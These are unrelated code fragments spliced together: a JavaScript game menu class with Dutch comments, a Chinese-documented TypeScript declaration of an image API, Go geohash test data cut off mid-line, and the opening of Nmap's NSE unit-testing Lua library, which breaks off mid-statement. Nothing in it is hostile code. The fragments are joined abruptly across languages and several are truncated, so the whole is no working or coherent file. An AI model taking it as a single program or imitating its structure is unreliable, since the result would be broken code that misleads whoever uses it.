            escapeKey.onDown.add(this.ToggleEscapeMenu, this);

            this.BackToMenuBtn.addEventListener('click', this.BackToMenu.bind(this));
        }

        ToggleInventory() {
            this.InventoryWrapper.classList.toggle("hidden");
        }

        ToggleEquipment() {

            this.EquipmentWrapper.classList.toggle("hidden");
        }

        ToggleEscapeMenu() {
            this.EscapeMenuWrapper.classList.toggle("hidden");
        }

        BackToMenu() {
            //Alle menu's verbergen.
            this.InventoryWrapper.classList.add("hidden");
            this.EquipmentWrapper.classList.add("hidden");
            this.EscapeMenuWrapper.classList.add("hidden");
            this.game.state.start('MainMenu');
        }
    }

}/**
 * 图片编辑 [1000+]
 * 接口声明: {"name": "system.image"}
 */
declare module '@system.image' {
    /**
     * 获取图片信息
     * @param obj
     */
    function getImageInfo(obj: {
        /**
         * 图片地址，可以是数据文件或应用内的资源。如果是应用内资源，必须使用绝对路径
         */
        uri: string;
        /**
         * 成功回调
         */
        success?: (data: {
            /**
             * 图片地址
             */
            uri: string;
            /**
             * 图片的宽度，单位为 px
             */
            width: number;
            /**
             * 图片的高度，单位为 px
             */
            height: number;
            /**
             * 图片的大小，单位为 Byte
             */
            size: number;
        }) => void;
        /**
         * 失败回调
         * 202: 参数错误
         * 300: I/O 错误
         * 301: 文件路径不存在
         */
        fail?: (data: any, code: number) => void;
        /**
         * 执行结束后的回调
         */
        complete?: () => void;
    }): void;

    /**
     * 压缩图片
     * @param obj
     */
    function compressImage(obj: {
        /**
         * 图片地址，可以是数据文件或应用内的资源。如果是应用内资源，必须使用绝对路径
         */
        uri: string;
        /**
         * 图片的压缩质量，0-100 之间，默认是 75
         */
        quality?: number;
        /**
         * 尺寸压缩倍数，必须大于 0，尺寸会变为原图的 1/ratio 大小
         */
        ratio?: number;
        /**
         * 图片保存格式，支持 JPEG，PNG，WEBP 三种格式。默认使用 JPEG 格式
         */
        format?: string;
        /**
         * 成功回调


.313476562}},
	{"3", Box{-45.0, 0.0, -135.0, -90.0}},
	{"q", Box{-45.0, 0.0, 90.0, 135.0}},
	{"mtyyw7", Box{-11.4971923828, -11.4916992188, 77.2668457031, 77.2778320312}},
	{"2sqmb", Box{-20.0830078125, -20.0390625, -148.7109375, -148.666992188}},
	{"yp487k", Box{84.4409179688, 84.4464111328, 93.6584472656, 93.6694335938}},
	{"nyn5k1fc", Box{-55.668926239, -55.6687545776, 132.3670578, 132.367401123}},
	{"gnqk77v", Box{80.9239196777, 80.9252929688, -36.0612487793, -36.0598754883}},
	{"yw12", Box{78.75, 78.92578125, 114.2578125, 114.609375}},
	{"vcgqqmd", Box{55.9725952148, 55.9739685059, 83.5977172852, 83.5990905762}},
	{"27zp3q", Box{-22.5988769531, -22.5933837891, -158.851318359, -158.840332031}},
	{"cg4tb6", Box{62.8967285156, 62.9022216797, -97.7233886719, -97.7124023438}},
	{"w5njb9rnp5e", Box{17.8936573863, 17.8936587274, 98.4693901241, 98.4693914652}},
	{"9y6rp4pptv", Box{36.3990193605, 36.399024725, -97.7684605122, -97.7684497833}},
	{"pjup17j08hup", Box{-56.4091892727, -56.409189105, 140.68680346, 140.686803795}},
	{"vz52f33z9mu", Box{84.5150206983, 84.5150220394, 83.421651721, 83.4216530621}},
	{"zd", Box{56.25, 61.875, 157.5, 168.75}},
	{"q", Box{-45.0, 0.0, 90.0, 135.0}},
	{"dm46s", Box{28.564453125, 28.6083984375, -75.41015625, -75.3662109375}},
	{"d7dnvbu", Box{20.8781433105, 20.8795166016, -75.6793212891, -75.677947998}},
	{"02ercsvx0h", Box{-85.7978796959, -85.7978743315, -164.106216431, -164.106205702}},
	{"hnfx5f", Box{-50.7897949219, -50.7843017578, 3.68041992188, 3.69140625}},
	{"evb677f6t", Box{32.7602863312, 32.7603292465, -10.7523107529, -10.7522678375}},
	{"sg43r7p151", Box{17.1113830805, 17.1113884449, 37.2424077988, 37.2424185276}},
	{"441mdz5", Box{-77.7447509766, -77.7433776855, -88.1172180176, -88.1158447266}},
	{"k2qrsc7hr81", Box{-42.2677946091, -42.267793268, 20.2522458136, 20.2522471547}},
	{"d0ydzxhjwr", Box{4.74158227444, 4.74158763885, -80.5240237713, -80.524


---
-- Unit testing support for NSE libraries.
--
-- This library will import all NSE libraries looking for a global variable
-- test_suite. This must be a callable that returns true or false
-- and the number of tests that failed. For convenience, the
-- unittest.TestSuite class has this property, and tests can be
-- added with add_test. Example:
--
--
-- local data = {"foo", "bar", "baz"}
-- test_suite = unittest.TestSuite:new()
-- test_suite:add_test(equal(data[2], "bar"), "data[2] should equal 'bar'")
--
--
-- The library is driven by the unittest NSE script.
--
-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html

local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local nmap = require "nmap"
local nsedebug = require "nsedebug"
local listop = require "listop"
_ENV = stdnse.module("unittest", stdnse.seeall)

local libs = {
"afp",
"ajp",
"amqp",
"anyconnect",
"asn1",
"base32",
"base64",
"bin",
"bitcoin",
"bit",
"bits",
"bittorrent",
"bjnp",
"brute",
"cassandra",
"citrixxml",
"coap",
"comm",
"creds",
"cvs",
"datafiles",
"datetime",
"dhcp6",
"dhcp",
"dnsbl",
"dns",
"dnssd",
"drda",
"eap",
"eigrp",
"formulas",
"ftp",
"giop",
"gps",
"http",
"httpspider",
"iax2",
"ike",
"imap",
"informix",
"ipOps",
"ipmi",
"ipp",
"iscsi",
"isns",
"jdwp",
"json",
"ldap",
"lfs",
"listop",
"match",
"membase",
"mobileme",
"mongodb",
"mqtt",
"msrpc",
"msrpcperformance",
"msrpctypes",
"mssql",
"multicast",
"mysql",
"natpmp",
"ncp",
"ndmp",
"netbios",
"nmap",
"nrpc",
"nsedebug",
"omp2",
"openssl",
"ospf",
"packet",
"pcre",
"pgsql",
"pop3",
"pppoe",
"proxy",
"rdp",
"redis",
"re",
"rmi",
"rpcap",
"rpc",
"rsync",
"rtsp",
"sasl",
"shortport",
"sip",
"slaxml",
"smbauth",
"smb",
"smtp",
"snmp",
"socks",
"srvloc",
"ssh1",
"ssh2",
"sslcert",
"sslv2",
"stdnse",
"strbuf",
--"strict", -- behaves oddly
"stun",
"tab",
"target",
"tftp",
"tls",
"tns",
"unicode",
"unittest",
"unpwdb",
"upnp",
"url",
"versant",
"vnc",
"vulns",
"vuzedht",
"wsdd",
"xdmcp",
"xmpp",
}

-- This script-arg is documented in the unittest script to avoid cluttering
-- NSEdoc of all the libraries which include this one.
local am_testing = stdnse.get_script_args('unittest.run')
---Check whether tests are being run
--
-- Libraries can use this function to avoid the overhead of creating tests if
-- the user hasn't chosen to run them. Unittesting is turned on with the
-- unittest.run script-arg.
-- @return true if unittests are being run, false otherwise.
function testing()
  return am_testing
end

---
-- Run tests provided by NSE libraries
-- @param to_test A list (table) of libraries to test. If none is provided, all
--                libraries are tested.
run_tests = function(to_test)
  am_testing = true
  if